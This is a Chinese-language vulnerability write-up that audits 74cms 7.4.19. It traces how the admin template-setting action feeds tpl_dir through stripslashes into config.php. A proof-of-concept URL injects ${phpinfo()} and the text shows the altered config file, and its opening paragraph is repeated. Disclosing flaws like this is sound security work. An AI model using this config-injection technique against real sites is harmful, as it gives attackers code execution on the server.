前言 没有getshell的审计都是耍流氓。 今天突然灵光闪现,重新看了下74cms,终于拿下了。 正文 在Application/Common/Controller/BackendController.class.php 有这么一段可怕的代码 ``` public function update_config($new_config, $config_file = '') { !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php'; if (is_writable($config_file)) { $config = require $config_file; $config = array_merge($config, $new_config); file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX); @unlink(RUNTIME_FILE); return true; } else { return false; } } ``` 配置文件用return返回var_export,应该是(如果有能绕过,求打脸)挺安全的,所以之前看走眼了。 这里有stripslashes! 全局搜一下 找到 /Application/Admin/Controller/TplController.class.php ``` public function set(){ $tpl_dir = I('request.tpl_dir','','trim'); $templates_info=$this->_get_templates_info($this->tpl_dir.$tpl_dir."/info.txt"); D('Config')->where(array('name'=>'template_dir'))->setField('value',$tpl_dir); if(C('qscms_template_dir') != $tpl_dir) D('AdCategory')->ads_init($tpl_dir);...
前言 没有getshell的审计都是耍流氓。 今天突然灵光闪现,重新看了下74cms,终于拿下了。 正文 在Application/Common/Controller/BackendController.class.php 有这么一段可怕的代码 ``` public function update_config($new_config, $config_file = '') { !is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php'; if (is_writable($config_file)) { $config = require $config_file; $config = array_merge($config, $new_config); file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX); @unlink(RUNTIME_FILE); return true; } else { return false; } } ``` 配置文件用return返回var_export,应该是(如果有能绕过,求打脸)挺安全的,所以之前看走眼了。 这里有stripslashes! 全局搜一下 找到 /Application/Admin/Controller/TplController.class.php ``` public function set(){ $tpl_dir = I('request.tpl_dir','','trim'); $templates_info=$this->_get_templates_info($this->tpl_dir.$tpl_dir."/info.txt"); D('Config')->where(array('name'=>'template_dir'))->setField('value',$tpl_dir); if(C('qscms_template_dir') != $tpl_dir) D('AdCategory')->ads_init($tpl_dir); $this->admin_write_log_unify(); $this->update_config(array('DEFAULT_THEME'=>$tpl_dir)); $this->success('设置成功!'); } ``` poc 用之前的方法登录后台,然后访问 /74cms/index.php?m=Admin&c=Tpl&a=set&tpl_dir=a%27.${phpinfo()}.%27 测试版本:74cms基础版7.4.19 测试流程: 登陆74cms后台,访问链接:`http://vul.com/index.php?m=Admin&c=Tpl&a=set&tpl_dir=a%27.${phpinfo()}.%27` 访问链接之后74cms/application/Home/Conf/config.php内容会变成如下内容: ``` <?php return array ( 'BASIC_THEME' => 'default', 'DEFAULT_THEME' => 'a'.${phpinfo()}.'', ); ``` 访问http://vul.com/index.php即为`phpinfo()` 页面